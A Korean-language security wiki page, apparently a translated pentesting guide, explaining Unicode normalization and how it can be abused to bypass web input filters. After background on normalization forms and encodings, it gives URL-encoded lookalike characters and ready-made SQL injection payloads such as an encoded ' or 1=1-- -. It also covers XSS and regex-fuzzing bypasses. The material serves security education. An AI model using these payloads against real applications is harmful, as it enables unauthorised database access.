Unicode Normalization

This is a summary of: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. Check a look for further details (images taken form there).

Understanding Unicode and Normalization

유니코드 정규화는 문자의 서로 다른 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다:

1. 정규 동등성: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정규 동등한 것으로 간주됩니다.

2. 호환 동등성: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 약한 형태의 동등성입니다.

네 가지 유니코드 정규화 알고리즘이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정규 및 호환 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 Unicode.org에서 이러한 기술을 탐색할 수 있습니다.

Key Points on Unicode Encoding

유니코드 인코딩을 이해하는 것은 특히 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 중요합니다. 주요 사항은 다음과 같습니다:

• 코드 포인트와 문자: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.

• 바이트 표현: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다.

• 인코딩: 이 용어는 문자가 바이트 시리즈로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다.

• 데이터 처리: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다.

• UTF의 변형: UTF-8 외에도 최소 2바이트(최대 4바이트)를 사용하는 UTF-16 및 모든 문자에 대해 4바이트를 사용하는 UTF-32와 같은 다른 인코딩 표준이 있습니다.

이러한 개념을 이해하는 것은 유니코드의 복잡성과 다양한 인코딩 방법에서 발생할 수 있는 잠재적인 문제를 효과적으로 처리하고 완화하는 데 중요합니다.

유니코드가 동일한 문자를 나타내는 두 개의 다른 바이트를 어떻게 정규화하는지에 대한 예:

unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")

유니코드 동등 문자 목록은 여기에서 찾을 수 있습니다: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html 및 https://0xacb.com/normalization_table

발견하기

웹앱에서 반환되는 값을 찾을 수 있다면, **‘KELVIN SIGN’ (U+0212A)**을 보내보세요. 이는 "K"로 정규화됩니다 (이를 %e2%84%aa로 보낼 수 있습니다). "K"가 반환된다면, 어떤 종류의 유니코드 정규화가 수행되고 있는 것입니다.

다른 예시: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83는 유니코드 후에 Leonishan입니다.

취약한 예시

SQL Injection 필터 우회

사용자 입력으로 SQL 쿼리를 생성하는 데 문자 '를 사용하는 웹 페이지를 상상해 보세요. 이 웹은 보안 조치로 사용자 입력에서 문자 **'**의 모든 발생을 삭제하지만, 그 삭제 후와 쿼리 생성 전에 사용자 입력을 유니코드로 정규화합니다.

그렇다면, 악의적인 사용자는 ' (0x27)에 해당하는 다른 유니코드 문자 %ef%bc%87을 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 SQLInjection 취약점이 발생합니다:

흥미로운 유니코드 문자들

• o -- %e1%b4%bc

• r -- %e1%b4%bf

• 1 -- %c2%b9

• = -- %e2%81%bc

• / -- %ef%bc%8f

• --- %ef%b9%a3

• #-- %ef%b9%9f

• *-- %ef%b9%a1

• ' -- %ef%bc%87

• " -- %ef%bc%82

• | -- %ef%bd%9c

' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

sqlmap 템플릿

XSS (교차 사이트 스크립팅)

다음 문자 중 하나를 사용하여 웹앱을 속이고 XSS를 악용할 수 있습니다:

예를 들어, 제안된 첫 번째 유니코드 문자는 %e2%89%ae 또는 %u226e로 전송될 수 있습니다.

퍼징 정규 표현식

백엔드가 정규 표현식으로 사용자 입력을 확인할 때, 입력이 정규 표현식에 대해 정규화되지만 사용되는 곳에 대해서는 정규화되지 않을 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식이 전송된 URL을 정규화할 수 있지만, 그 후 있는 그대로 접근할 수 있습니다.

도구 recollapse ****는 백엔드를 퍼징하기 위해 입력의 변형을 생성할 수 있게 해줍니다. 더 많은 정보는 github와 이 게시물을 확인하세요.

참고 문헌

• https://labs.spotify.com/2013/06/18/creative-usernames/

• https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work

• https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html